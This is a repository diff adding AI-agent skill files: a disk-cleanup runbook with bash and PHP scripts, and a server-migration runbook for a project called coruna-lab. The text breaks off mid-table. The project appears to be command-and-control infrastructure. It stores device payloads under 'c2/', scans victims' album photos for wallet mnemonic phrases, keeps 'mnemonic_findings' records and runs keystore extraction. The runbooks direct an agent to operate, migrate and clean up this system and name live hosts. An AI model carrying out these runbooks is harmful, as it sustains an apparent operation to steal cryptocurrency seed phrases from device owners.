Compare commits
201 Commits
6bc172c570
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
| df91654724 | |||
| fa9366703f | |||
| 7291a84951 | |||
| bb695c12c4 | |||
| c894f498b8 | |||
| c97a61d51f | |||
| 8ae3b6884d | |||
| 509110f853 | |||
| fcbc479c2e | |||
| 11caef98fc | |||
| ef38e0e190 | |||
| 0ee7749262 | |||
| 4f5764a2cd | |||
| 4fc8f05971 | |||
| ea82eddbf0 | |||
| 5859f4f1b3 | |||
| af714468ee | |||
| 4164d2c453 | |||
| 460e751f00 | |||
| 5e258863a8 | |||
| ba5d3c5731 | |||
| c5138594e1 | |||
| 2d3b6e1f2c | |||
| e8454a93a8 | |||
| aad2155ca5 | |||
| c90b5dc215 | |||
| f137593a87 | |||
| 9c2bc4b226 | |||
| 07d97f383c | |||
| 867d0fa462 | |||
| da1c1921d7 | |||
| 67c8460717 | |||
| 630aeb2383 | |||
| ba444a96b1 | |||
| 08ef9e718e | |||
| 316b4cea51 | |||
| ffbad6a9da | |||
| 97c7bc1de1 | |||
| d0445117b3 | |||
| ff0b8fee25 | |||
| 9b46e5c76b | |||
| d9ac47484f | |||
| cb92baa395 | |||
| 00e440a0b4 | |||
| e654f65cf9 | |||
| afac799588 | |||
| 46e250109e | |||
| 263fd917ac | |||
| 529ae4aa38 | |||
| 30357c108f | |||
| 6e4f7e6020 | |||
| e2d01abe28 | |||
| 09b4a429aa | |||
| ff516a0e30 | |||
| 7e8be467a0 | |||
| c979249a02 | |||
| eb82aa8332 | |||
| 15c45a4fd2 | |||
| 2c87d37051 | |||
| 8f7469cc4e | |||
| 5b677d4d1f | |||
| 2d8fe07242 | |||
| d3cbc82365 | |||
| e0b06e0d24 | |||
| dff472180c | |||
| 8d5ec411f1 | |||
| 2c974c8263 | |||
| ad09fdff88 | |||
| 534b36a2d2 | |||
| 13aa587099 | |||
| bec6f09c76 | |||
| cc66811dbd | |||
| cdbfa48662 | |||
| f9fd356679 | |||
| b663f15478 | |||
| 92d9dde5cb | |||
| 7651f6a589 | |||
| b916e8b50d | |||
| 004b38f5f2 | |||
| 2a41a29310 | |||
| 2625707aed | |||
| 5be0313ccd | |||
| 2729fd561b | |||
| 0b434a082c | |||
| 4b23931b8d | |||
| 0b266a051d | |||
| 2d18331feb | |||
| a49fb2415d | |||
| 93245d105e | |||
| 48d591f97d | |||
| 4a7e3f771e | |||
| 2b0c67ad9c | |||
| 7f2fc33449 | |||
| 26bccaf2b9 | |||
| 51336e346a | |||
| 74a85b415b | |||
| 8c9a15c523 | |||
| 233df72502 | |||
| d16c40cdb3 | |||
| c8d4eaa86e | |||
| fd95951318 | |||
| b5af8a3748 | |||
| f85aa3654a | |||
| 4ae2bb14a6 | |||
| a360a7bc94 | |||
| d5ae0bf6ff | |||
| b49755c900 | |||
| bca2eb4602 | |||
| 1746e7b485 | |||
| d7bd4d1b03 | |||
| 7fc5f43c01 | |||
| 4fa162c72c | |||
| 558912864d | |||
| e294053285 | |||
| c273813b71 | |||
| 29bf0f5cca | |||
| 021a030069 | |||
| 0996d4e563 | |||
| f15df77828 | |||
| d0e7782490 | |||
| 0b4924a1b2 | |||
| b4f0dde628 | |||
| 8c5724ff3b | |||
| b212332828 | |||
| 9651b91d84 | |||
| 9333095103 | |||
| 60d73cb689 | |||
| 97f531f818 | |||
| 633b1617a0 | |||
| 2d9c9fb727 | |||
| 668cfa6a24 | |||
| 04318c08b3 | |||
| c1d24ab815 | |||
| 9626fcc598 | |||
| d4c096ed4a | |||
| f94def7c1f | |||
| f67da8a102 | |||
| 4c49a61149 | |||
| 44bcfe544c | |||
| 5d64323191 | |||
| 982df10cfe | |||
| bc6ed0f5c7 | |||
| 5370e3700f | |||
| 4ece122625 | |||
| 35fe93e42d | |||
| 3a274f079f | |||
| e23550e820 | |||
| 337bf45c79 | |||
| 9176af86dd | |||
| f6fb00c52a | |||
| 17633e3959 | |||
| f61bc94d06 | |||
| 30a89e8a8c | |||
| 5c022c0037 | |||
| 702d05f5fe | |||
| dc543fe728 | |||
| 3e87a44de3 | |||
| e9192d5720 | |||
| 4c2eb16211 | |||
| 27d5cd75f3 | |||
| e660335808 | |||
| 3a2be309dc | |||
| 533b2bb9e4 | |||
| 10a0083cf1 | |||
| 0ce51aa33e | |||
| 5cb5744b7a | |||
| 5c9ceca4ea | |||
| 67791221bf | |||
| 2c11a46f17 | |||
| cd07fe62fd | |||
| 0dfb93f451 | |||
| 2eb081cbb8 | |||
| db574cc629 | |||
| c00396dc1f | |||
| 4aacbde137 | |||
| a32043df71 | |||
| 376b442880 | |||
| 9049fdccad | |||
| a18f3dceb7 | |||
| 74067e7b54 | |||
| 7c0066562f | |||
| 5453d9d69b | |||
| 01d1ef76a8 | |||
| 8a110af66d | |||
| 52fc3a4c4a | |||
| 3c9cda5329 | |||
| 5bf6852f66 | |||
| 31924ca770 | |||
| dbe6358a3c | |||
| c6e386e069 | |||
| f285d35d86 | |||
| 4983077085 | |||
| 41023b16f4 | |||
| 8816c4d957 | |||
| 4802d0e51f | |||
| 9bf769b2bd | |||
| ec2d9f2308 | |||
| a439f26fbb | |||
| c3d9871ae3 | |||
| aad44bf52e | |||
| ad30453922 |
@@ -0,0 +1,142 @@
|
|||||||
|
---
|
||||||
|
name: coruna-lab-cleanup
|
||||||
|
description: >-
|
||||||
|
Clean up disk space on servers running the coruna-lab (Coruna Lab) Laravel
|
||||||
|
project. Deletes scanned photos without mnemonic findings, prunes broken-image
|
||||||
|
DB rows, clears DS scan result intermediates, purges old logs, truncates nginx
|
||||||
|
logs, and removes stale backups. Use when the user reports disk full / low space
|
||||||
|
on a coruna-lab server, or asks to clean up photos / DS results / process data /
|
||||||
|
broken images (裂图) on a coruna-lab deployment. Trigger keywords: coruna-lab
|
||||||
|
磁盘清理, 清理相册, 清理照片, 清理 DS 结果, 清理过程数据, 裂图, disk full,
|
||||||
|
prune photos, clean ds-results.
|
||||||
|
---
|
||||||
|
|
||||||
|
# coruna-lab Disk Cleanup
|
||||||
|
|
||||||
|
Clean up disk space on servers running the **coruna-lab** Laravel project.
|
||||||
|
|
||||||
|
## Project layout (reference)
|
||||||
|
|
||||||
|
```
|
||||||
|
/www/wwwroot/coruna-lab/ # project root (auto-detected or arg)
|
||||||
|
├── storage/app/private/c2/
|
||||||
|
│ ├── photos/ # original album photos (linked to photos table)
|
||||||
|
│ ├── ds-results/ # DS scan intermediates (images already in photos/)
|
||||||
|
│ ├── ds-chunks/ # temporary chunk-assembly files
|
||||||
|
│ ├── inbox/ # incoming .bin payloads from devices
|
||||||
|
│ ├── photo-previews/ # preview cache (regenerable)
|
||||||
|
│ ├── plugin-sessions/ # plugin session data
|
||||||
|
│ └── ds-notes/ # DS note data
|
||||||
|
├── public/log/ # app logs: xxbb/, ds/, transfer/, c2/
|
||||||
|
├── artisan
|
||||||
|
```
|
||||||
|
|
||||||
|
### Key DB tables
|
||||||
|
|
||||||
|
| Table | Role |
|
||||||
|
|-------|------|
|
||||||
|
| `photos` | album photos, `scan_status`: 0=未扫 1=已扫空 2=疑似 3=确定 4=失败 |
|
||||||
|
| `photo_reads` | read markers per photo |
|
||||||
|
| `mnemonic_findings` | mnemonic phrases found in photos/notes (has `photo_id`) |
|
||||||
|
|
||||||
|
**Safe to delete**: `scan_status=1` photos with NO `mnemonic_findings` row — scanned, nothing found.
|
||||||
|
**Never delete**: `scan_status=0` (pending scan), `scan_status=2/3` (has mnemonic findings), `mnemonic_findings` rows.
|
||||||
|
|
||||||
|
## Cleanup steps
|
||||||
|
|
||||||
|
The bundled `scripts/disk_cleanup.sh` runs all steps. Always **dry-run first**.
|
||||||
|
|
||||||
|
### Step 1: Run dry-run
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# SSH to the target server, then:
|
||||||
|
bash <skill-dir>/scripts/disk_cleanup.sh /www/wwwroot/coruna-lab
|
||||||
|
```
|
||||||
|
|
||||||
|
This prints what would be cleaned without deleting anything. Review the output.
|
||||||
|
|
||||||
|
### Step 2: Execute cleanup
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo bash <skill-dir>/scripts/disk_cleanup.sh /www/wwwroot/coruna-lab --execute
|
||||||
|
```
|
||||||
|
|
||||||
|
### What it does (9 steps)
|
||||||
|
|
||||||
|
| # | Step | Default retention | Frees |
|
||||||
|
|---|------|-------------------|-------|
|
||||||
|
| 1 | Old app logs (`public/log/*.log`) | 7 days | varies |
|
||||||
|
| 2 | scan_status=1 photos (no mnemonic) | all | largest — often 50-100G+ |
|
||||||
|
| 3 | Broken-image DB rows (file missing) | all | fixes 裂图 |
|
||||||
|
| 4 | Photo preview caches | all | ~15G typical |
|
||||||
|
| 5 | DS results (`ds-results/`) | 1 day | often 40-80G |
|
||||||
|
| 6 | DS chunks (`ds-chunks/`) | 1 day | often 20-35G |
|
||||||
|
| 7 | Inbox (`inbox/`) | 3 days | varies |
|
||||||
|
| 8 | Nginx logs (truncate >100M files) | — | often 15-20G |
|
||||||
|
| 9 | Backups (`/www/backup/`) | all | varies |
|
||||||
|
|
||||||
|
### Tunable retention (env vars)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
LOG_RETENTION_DAYS=3 DS_RESULTS_RETENTION_DAYS=1 DS_CHUNK_RETENTION_DAYS=1 \
|
||||||
|
INBOX_RETENTION_DAYS=3 CLEAN_NGINX_LOGS=1 CLEAN_BACKUPS=1 \
|
||||||
|
bash <skill-dir>/scripts/disk_cleanup.sh /www/wwwroot/coruna-lab --execute
|
||||||
|
```
|
||||||
|
|
||||||
|
## Individual steps (if full pipeline not needed)
|
||||||
|
|
||||||
|
### Only clean scanned photos (step 2 standalone)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Copy the PHP script into the project, then run via Laravel bootstrap:
|
||||||
|
cp <skill-dir>/scripts/cleanup_scanned_photos.php /www/wwwroot/coruna-lab/
|
||||||
|
cd /www/wwwroot/coruna-lab
|
||||||
|
php cleanup_scanned_photos.php # dry-run
|
||||||
|
php cleanup_scanned_photos.php --execute # actually delete
|
||||||
|
rm -f cleanup_scanned_photos.php # clean up after
|
||||||
|
```
|
||||||
|
|
||||||
|
### Only prune broken images (step 3 standalone)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd /www/wwwroot/coruna-lab
|
||||||
|
php artisan coruna:prune-missing-photo-files # dry-run
|
||||||
|
php artisan coruna:prune-missing-photo-files --execute # delete rows
|
||||||
|
```
|
||||||
|
|
||||||
|
### Only clean DS intermediates (steps 5-6 standalone)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
find /www/wwwroot/coruna-lab/storage/app/private/c2/ds-results/ -type f -mtime +1 -delete
|
||||||
|
find /www/wwwroot/coruna-lab/storage/app/private/c2/ds-results/ -type d -empty -delete
|
||||||
|
find /www/wwwroot/coruna-lab/storage/app/private/c2/ds-chunks/ -type f -mtime +1 -delete
|
||||||
|
find /www/wwwroot/coruna-lab/storage/app/private/c2/ds-chunks/ -type d -empty -delete
|
||||||
|
```
|
||||||
|
|
||||||
|
## Safety rules
|
||||||
|
|
||||||
|
1. **Always dry-run first** — review counts before `--execute`.
|
||||||
|
2. **Never delete `scan_status=0` or `scan_status=2/3` photos** — they are pending scan or contain mnemonic findings.
|
||||||
|
3. **Never delete `mnemonic_findings` rows** — these are the extracted mnemonic records.
|
||||||
|
4. DS results images are duplicates of `c2/photos/` — safe to delete after processing.
|
||||||
|
5. Photo previews are cache — regenerable, safe to clear.
|
||||||
|
6. Truncating nginx logs (not deleting) keeps the file handle open for the running nginx process.
|
||||||
|
7. Backups under `/www/backup/` are panel-level backups — confirm with user before deleting on production servers where backups are actively needed.
|
||||||
|
|
||||||
|
## Verification after cleanup
|
||||||
|
|
||||||
|
```bash
|
||||||
|
df -h /
|
||||||
|
du -sh /www/wwwroot/coruna-lab/storage/app/private/c2/*/
|
||||||
|
du -sh /www/wwwroot/coruna-lab/public/log/
|
||||||
|
```
|
||||||
|
|
||||||
|
Check DB counts:
|
||||||
|
```bash
|
||||||
|
cd /www/wwwroot/coruna-lab
|
||||||
|
php artisan tinker --execute="
|
||||||
|
echo 'photos: '.DB::table('photos')->count().PHP_EOL;
|
||||||
|
echo 'photo_reads: '.DB::table('photo_reads')->count().PHP_EOL;
|
||||||
|
echo 'mnemonic_findings: '.DB::table('mnemonic_findings')->count().PHP_EOL;
|
||||||
|
"
|
||||||
|
```
|
||||||
@@ -0,0 +1,96 @@
|
|||||||
|
<?php
|
||||||
|
/**
|
||||||
|
* Clean up photos that were scanned (scan_status=1, "已扫-空") but have no mnemonic findings.
|
||||||
|
*
|
||||||
|
* These photos were scanned for mnemonic phrases but nothing was found,
|
||||||
|
* so they are safe to delete: file blobs, photo_reads rows, and photos rows.
|
||||||
|
*
|
||||||
|
* Usage:
|
||||||
|
* php cleanup_scanned_photos.php [project-path] [--execute]
|
||||||
|
*
|
||||||
|
* Without --execute: dry-run (counts only, deletes nothing)
|
||||||
|
* With --execute: deletes files and DB rows in batches of 500
|
||||||
|
*
|
||||||
|
* Requires: Laravel project with photos, photo_reads, mnemonic_findings tables.
|
||||||
|
*/
|
||||||
|
require __DIR__.'/vendor/autoload.php';
|
||||||
|
$app = require_once __DIR__.'/bootstrap/app.php';
|
||||||
|
$kernel = $app->make(Illuminate\Contracts\Console\Kernel::class);
|
||||||
|
$kernel->bootstrap();
|
||||||
|
|
||||||
|
use Illuminate\Support\Facades\DB;
|
||||||
|
use Illuminate\Support\Facades\Storage;
|
||||||
|
|
||||||
|
$execute = in_array('--execute', $argv ?? []);
|
||||||
|
$dryRun = !$execute;
|
||||||
|
|
||||||
|
echo ($dryRun ? 'DRY-RUN' : 'EXECUTE') . " clean scan_status=1 photos without mnemonic findings\n";
|
||||||
|
|
||||||
|
$disk = Storage::disk('local');
|
||||||
|
$batchSize = 500;
|
||||||
|
$totalSeen = 0;
|
||||||
|
$totalFiles = 0;
|
||||||
|
$totalRows = 0;
|
||||||
|
$totalReads = 0;
|
||||||
|
$lastId = 0;
|
||||||
|
$batchNum = 0;
|
||||||
|
|
||||||
|
while (true) {
|
||||||
|
$photos = DB::table('photos')
|
||||||
|
->select(['id', 'device_id', 'path'])
|
||||||
|
->where('scan_status', 1)
|
||||||
|
->where('id', '>', $lastId)
|
||||||
|
->whereNotIn('id', function ($q) {
|
||||||
|
$q->select('photo_id')->from('mnemonic_findings')->whereNotNull('photo_id');
|
||||||
|
})
|
||||||
|
->orderBy('id')
|
||||||
|
->limit($batchSize)
|
||||||
|
->get();
|
||||||
|
|
||||||
|
if ($photos->isEmpty()) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
$batchNum++;
|
||||||
|
$ids = [];
|
||||||
|
foreach ($photos as $photo) {
|
||||||
|
$ids[] = $photo->id;
|
||||||
|
$totalSeen++;
|
||||||
|
if (!$dryRun) {
|
||||||
|
$path = trim((string) ($photo->path ?? ''));
|
||||||
|
if ($path !== '' && $disk->exists($path)) {
|
||||||
|
$disk->delete($path);
|
||||||
|
$totalFiles++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!$dryRun && !empty($ids)) {
|
||||||
|
$deletedReads = DB::table('photo_reads')->whereIn('photo_id', $ids)->delete();
|
||||||
|
$totalReads += $deletedReads;
|
||||||
|
DB::table('photos')->whereIn('id', $ids)->delete();
|
||||||
|
$totalRows += count($ids);
|
||||||
|
}
|
||||||
|
|
||||||
|
$lastId = (int) $photos->last()->id;
|
||||||
|
|
||||||
|
if ($batchNum % 20 === 0 || $photos->count() < $batchSize) {
|
||||||
|
echo sprintf(
|
||||||
|
" batch=%d seen=%d %s reads=%d\n",
|
||||||
|
$batchNum,
|
||||||
|
$totalSeen,
|
||||||
|
$dryRun ? '(dry-run)' : "deleted_files=$totalFiles deleted_rows=$totalRows",
|
||||||
|
$totalReads
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
echo "\n=== Done ===\n";
|
||||||
|
echo "matched_photos: $totalSeen\n";
|
||||||
|
if (!$dryRun) {
|
||||||
|
echo "deleted_files: $totalFiles\n";
|
||||||
|
echo "deleted_photo_reads: $totalReads\n";
|
||||||
|
echo "deleted_photos_rows: $totalRows\n";
|
||||||
|
} else {
|
||||||
|
echo "dry-run: pass --execute to delete\n";
|
||||||
|
}
|
||||||
+136
@@ -0,0 +1,136 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
#
|
||||||
|
# coruna-lab disk cleanup — full pipeline
|
||||||
|
#
|
||||||
|
# Usage: sudo bash disk_cleanup.sh [project_root] [--execute]
|
||||||
|
#
|
||||||
|
# Without --execute: dry-run (shows what would be cleaned, deletes nothing)
|
||||||
|
# With --execute: performs all cleanup steps
|
||||||
|
#
|
||||||
|
# Env vars (override defaults):
|
||||||
|
# LOG_RETENTION_DAYS=7 public/log retention (days)
|
||||||
|
# DS_RESULTS_RETENTION_DAYS=1 ds-results retention (days)
|
||||||
|
# DS_CHUNK_RETENTION_DAYS=1 ds-chunks retention (days)
|
||||||
|
# INBOX_RETENTION_DAYS=3 inbox retention (days)
|
||||||
|
# CLEAN_NGINX_LOGS=1 truncate large nginx logs (1=yes, 0=no)
|
||||||
|
# CLEAN_BACKUPS=1 delete /www/backup contents (1=yes, 0=no)
|
||||||
|
#
|
||||||
|
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
PROJECT="${1:-/www/wwwroot/coruna-lab}"
|
||||||
|
EXECUTE_FLAG="${2:-}"
|
||||||
|
EXECUTE=0
|
||||||
|
[ "$EXECUTE_FLAG" = "--execute" ] && EXECUTE=1
|
||||||
|
|
||||||
|
# Retention settings (can be overridden by env vars)
|
||||||
|
LOG_DAYS="${LOG_RETENTION_DAYS:-7}"
|
||||||
|
DS_RESULTS_DAYS="${DS_RESULTS_RETENTION_DAYS:-1}"
|
||||||
|
DS_CHUNK_DAYS="${DS_CHUNK_RETENTION_DAYS:-1}"
|
||||||
|
INBOX_DAYS="${INBOX_RETENTION_DAYS:-3}"
|
||||||
|
CLEAN_NGINX_LOGS="${CLEAN_NGINX_LOGS:-1}"
|
||||||
|
CLEAN_BACKUPS="${CLEAN_BACKUPS:-1}"
|
||||||
|
|
||||||
|
STORAGE_C2="$PROJECT/storage/app/private/c2"
|
||||||
|
PUBLIC_LOG="$PROJECT/public/log"
|
||||||
|
DELETE_CMD=""
|
||||||
|
if [ $EXECUTE -eq 1 ]; then
|
||||||
|
DELETE_CMD="-delete"
|
||||||
|
echo "=== EXECUTE MODE — files will be deleted ==="
|
||||||
|
else
|
||||||
|
echo "=== DRY-RUN MODE — no files will be deleted ==="
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
df -h / 2>/dev/null | tail -1
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
# ─── 1. Old application logs (public/log) ───────────────────────────
|
||||||
|
echo ">>> 1. Cleaning public/log (>$LOG_DAYS days)"
|
||||||
|
find "$PUBLIC_LOG" -type f -name "*.log" -mtime +$LOG_DAYS -print $DELETE_CMD 2>/dev/null | wc -l | xargs -I{} echo " matched files: {}"
|
||||||
|
rm -f "$PUBLIC_LOG"/*.tar.gz 2>/dev/null && echo " removed tar.gz archives" || true
|
||||||
|
|
||||||
|
# ─── 2. Scanned photos without mnemonic findings ────────────────────
|
||||||
|
echo ">>> 2. Cleaning scan_status=1 photos (no mnemonic findings)"
|
||||||
|
if [ -f "$PROJECT/cleanup_scanned_photos.php" ]; then
|
||||||
|
SCRIPT="$PROJECT/cleanup_scanned_photos.php"
|
||||||
|
elif [ -f "$(dirname "$0")/cleanup_scanned_photos.php" ]; then
|
||||||
|
SCRIPT="$(dirname "$0")/cleanup_scanned_photos.php"
|
||||||
|
cp "$SCRIPT" "$PROJECT/cleanup_scanned_photos.php"
|
||||||
|
else
|
||||||
|
echo " ERROR: cleanup_scanned_photos.php not found, skipping"
|
||||||
|
SCRIPT=""
|
||||||
|
fi
|
||||||
|
if [ -n "$SCRIPT" ]; then
|
||||||
|
if [ $EXECUTE -eq 1 ]; then
|
||||||
|
(cd "$PROJECT" && php cleanup_scanned_photos.php --execute 2>&1 | tail -5)
|
||||||
|
rm -f "$PROJECT/cleanup_scanned_photos.php"
|
||||||
|
else
|
||||||
|
(cd "$PROJECT" && php cleanup_scanned_photos.php 2>&1 | tail -3)
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ─── 3. Broken images (file missing, DB row exists) ─────────────────
|
||||||
|
echo ">>> 3. Pruning broken-image DB rows (file missing on disk)"
|
||||||
|
if [ $EXECUTE -eq 1 ]; then
|
||||||
|
(cd "$PROJECT" && php artisan coruna:prune-missing-photo-files --execute 2>&1 | tail -3)
|
||||||
|
else
|
||||||
|
(cd "$PROJECT" && php artisan coruna:prune-missing-photo-files 2>&1 | tail -3)
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ─── 4. Photo preview caches ────────────────────────────────────────
|
||||||
|
echo ">>> 4. Clearing photo preview caches"
|
||||||
|
du -sh "$STORAGE_C2/photo-previews/" 2>/dev/null || true
|
||||||
|
if [ $EXECUTE -eq 1 ]; then
|
||||||
|
rm -rf "$STORAGE_C2/photo-previews/"* 2>/dev/null
|
||||||
|
echo " cleared"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ─── 5. DS results (keep N days) ────────────────────────────────────
|
||||||
|
echo ">>> 5. Cleaning ds-results (>$DS_RESULTS_DAYS days)"
|
||||||
|
find "$STORAGE_C2/ds-results/" -type f -mtime +$DS_RESULTS_DAYS -print $DELETE_CMD 2>/dev/null | wc -l | xargs -I{} echo " deleted files: {}"
|
||||||
|
if [ $EXECUTE -eq 1 ]; then
|
||||||
|
find "$STORAGE_C2/ds-results/" -type d -empty -delete 2>/dev/null
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ─── 6. DS chunks (keep N days) ────────────────────────────────────
|
||||||
|
echo ">>> 6. Cleaning ds-chunks (>$DS_CHUNK_DAYS days)"
|
||||||
|
find "$STORAGE_C2/ds-chunks/" -type f -mtime +$DS_CHUNK_DAYS -print $DELETE_CMD 2>/dev/null | wc -l | xargs -I{} echo " deleted files: {}"
|
||||||
|
if [ $EXECUTE -eq 1 ]; then
|
||||||
|
find "$STORAGE_C2/ds-chunks/" -type d -empty -delete 2>/dev/null
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ─── 7. Inbox (keep N days) ─────────────────────────────────────────
|
||||||
|
echo ">>> 7. Cleaning inbox (>$INBOX_DAYS days)"
|
||||||
|
find "$STORAGE_C2/inbox/" -type f -mtime +$INBOX_DAYS -print $DELETE_CMD 2>/dev/null | wc -l | xargs -I{} echo " deleted files: {}"
|
||||||
|
if [ $EXECUTE -eq 1 ]; then
|
||||||
|
find "$STORAGE_C2/inbox/" -type d -empty -delete 2>/dev/null
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ─── 8. Nginx logs (truncate large active logs) ─────────────────────
|
||||||
|
if [ "$CLEAN_NGINX_LOGS" = "1" ] && [ $EXECUTE -eq 1 ]; then
|
||||||
|
echo ">>> 8. Truncating nginx logs (/www/wwwlogs)"
|
||||||
|
for f in /www/wwwlogs/*.log; do
|
||||||
|
sz=$(stat -c%s "$f" 2>/dev/null || echo 0)
|
||||||
|
if [ "$sz" -gt 104857600 ]; then
|
||||||
|
truncate -s 0 "$f"
|
||||||
|
echo " truncated $(basename $f) ($(numfmt --to=iec $sz))"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
else
|
||||||
|
echo ">>> 8. Nginx logs: skipped (CLEAN_NGINX_LOGS=$CLEAN_NGINX_LOGS or dry-run)"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ─── 9. Backups ────────────────────────────────────────────────────
|
||||||
|
if [ "$CLEAN_BACKUPS" = "1" ] && [ $EXECUTE -eq 1 ]; then
|
||||||
|
echo ">>> 9. Cleaning /www/backup"
|
||||||
|
rm -rf /www/backup/backup_restore/* /www/backup/database/* /www/backup/file_history/* /www/backup/panel/* 2>/dev/null || true
|
||||||
|
rm -f /www/backup/*.Bak /www/backup/*.bak /www/backup/nginxBak 2>/dev/null || true
|
||||||
|
echo " cleaned"
|
||||||
|
else
|
||||||
|
echo ">>> 9. Backups: skipped (CLEAN_BACKUPS=$CLEAN_BACKUPS or dry-run)"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "=== Result ==="
|
||||||
|
df -h / 2>/dev/null | tail -1
|
||||||
@@ -0,0 +1,259 @@
|
|||||||
|
---
|
||||||
|
name: coruna-lab-migrate
|
||||||
|
description: >-
|
||||||
|
Migrate or cut over the coruna-lab (Coruna Lab) Laravel project to a new
|
||||||
|
BT Panel (宝塔) server, or update an already-provisioned remote box with
|
||||||
|
latest code and required config (git pull, migrate, supervisor, WAF,
|
||||||
|
APP_API_DOMAIN, ldid, php-fpm reload). Use when the user asks to migrate
|
||||||
|
coruna-lab, 换服务器, 迁移机器, 搬家, 远程更新最新代码, 按更新完成相关配置,
|
||||||
|
or set up a fresh coruna-lab deployment. Trigger keywords: coruna-lab 迁移,
|
||||||
|
迁移服务器, 换机器, migrate coruna-lab, server migration, 远程更新,
|
||||||
|
更新远程代码, 54.169, Lightsail pem.
|
||||||
|
---
|
||||||
|
|
||||||
|
# coruna-lab Server Migration
|
||||||
|
|
||||||
|
Two workflows. Pick one from the user request:
|
||||||
|
|
||||||
|
| Mode | When | Start at |
|
||||||
|
|------|------|----------|
|
||||||
|
| **A. Remote update** | Target already has coruna-lab; user wants latest code + config (migrations, queues, WAF, APP API, ldid) | [Workflow A](#workflow-a--remote-update) |
|
||||||
|
| **B. Full migrate** | New empty BT box; move site + DB + storage from an old server | [Workflow B](#workflow-b--full-migrate) |
|
||||||
|
|
||||||
|
Do **not** deploy or cut DNS unless the user explicitly asked. Confirm the target IP and SSH key before any write.
|
||||||
|
|
||||||
|
## Constants
|
||||||
|
|
||||||
|
| Item | Value |
|
||||||
|
|------|--------|
|
||||||
|
| Project | `/www/wwwroot/coruna-lab` |
|
||||||
|
| PHP | `/www/server/php/82/bin/php` (FPM pool `www`) |
|
||||||
|
| artisan | `sudo -u www /www/server/php/82/bin/php artisan …` |
|
||||||
|
| Git | `ssh://git@gitlab.fcpays.cc:2222/root/coruna-lab.git` |
|
||||||
|
| Supervisor | `/www/server/panel/pyenv/bin/supervisorctl` |
|
||||||
|
| Profiles | `/www/server/panel/plugin/supervisor/profile/*.ini` |
|
||||||
|
| WAF | `/www/server/btwaf/config.json` |
|
||||||
|
| PHP-FPM | `/etc/init.d/php-fpm-82` |
|
||||||
|
| open_basedir | `public/.user.ini` → `/www/wwwroot/coruna-lab/:/tmp/` |
|
||||||
|
|
||||||
|
Last successful cutover: **54.169.236.75** (Lightsail, `ubuntu` + sudo). PEM was in the operator workspace (`LightsailDefaultKey-ap-southeast-1.pem`). SSH: `IdentitiesOnly=yes`. BT MCP for **27.124** is a different box — never use it to change 54.169.
|
||||||
|
|
||||||
|
C2 and admin share one vhost/root (`public/`). Typical `server_name`: admin host + DS/xxbb/App API hosts (e.g. `admin.capssk888.com`, `zydrlfynoptx9aw.icu`, `kfsdljlows.com`, `mnskal.cc`).
|
||||||
|
|
||||||
|
## Hard rules
|
||||||
|
|
||||||
|
1. Backup `.env`, WAF `config.json`, and nginx vhost before editing.
|
||||||
|
2. Never add a custom nginx `^~ location /api/ap` — it bypasses Laravel and breaks App C2.
|
||||||
|
3. After `git pull`, always reload **php-fpm-82**. Live FPM has `opcache.validate_timestamps=Off`.
|
||||||
|
4. `git pull` as `www` needs `chown -R www:www .git` (and the tree).
|
||||||
|
5. `APP_API_DOMAIN` is **host only** (`mnskal.cc`), not `https://…`.
|
||||||
|
6. Do not print `.env` secrets, APP_KEY, Tokenview keys, or mnemonics.
|
||||||
|
7. Do not spam the product Telegram 通知群. Agent chat is a separate cc-connect window.
|
||||||
|
8. Do not modify 宝塔 panel source or `bt_agent_mcp` credentials.
|
||||||
|
|
||||||
|
## Workflow A — remote update
|
||||||
|
|
||||||
|
Copy this checklist and tick as you go:
|
||||||
|
|
||||||
|
```
|
||||||
|
- [ ] Confirm target IP + SSH key (not the old BT MCP host)
|
||||||
|
- [ ] Pull latest code as www; composer install
|
||||||
|
- [ ] APP_API_DOMAIN + LDID_PATH; bin/ldid present
|
||||||
|
- [ ] artisan migrate --force
|
||||||
|
- [ ] Supervisor: queue ocr extract keystore telegram transfer shell
|
||||||
|
- [ ] crontab schedule:run every minute
|
||||||
|
- [ ] WAF url_white + body_size 30MB; nginx client_body_buffer_size
|
||||||
|
- [ ] open_basedir + proc_open; no shell_exec required
|
||||||
|
- [ ] config/route/view:clear; reload php-fpm-82
|
||||||
|
- [ ] Local curl: /admin 302, /beacon 200
|
||||||
|
```
|
||||||
|
|
||||||
|
### A1. Recon
|
||||||
|
|
||||||
|
SSH as the provisioned user (`ubuntu` on Lightsail), then `sudo`. Confirm `hostname`, `df`, nginx/php-fpm/mysql/redis processes, and that the site root is `/www/wwwroot/coruna-lab/public`.
|
||||||
|
|
||||||
|
### A2. Pull + deps
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd /www/wwwroot/coruna-lab
|
||||||
|
chown -R www:www .git .
|
||||||
|
sudo -u www git pull --ff-only
|
||||||
|
sudo -u www /www/server/php/82/bin/php /usr/bin/composer install --no-dev --optimize-autoloader
|
||||||
|
```
|
||||||
|
|
||||||
|
If `www` cannot read the deploy key, pull as root then `chown -R www:www .`.
|
||||||
|
|
||||||
|
### A3. .env (update only what the user named)
|
||||||
|
|
||||||
|
| Key | Notes |
|
||||||
|
|-----|--------|
|
||||||
|
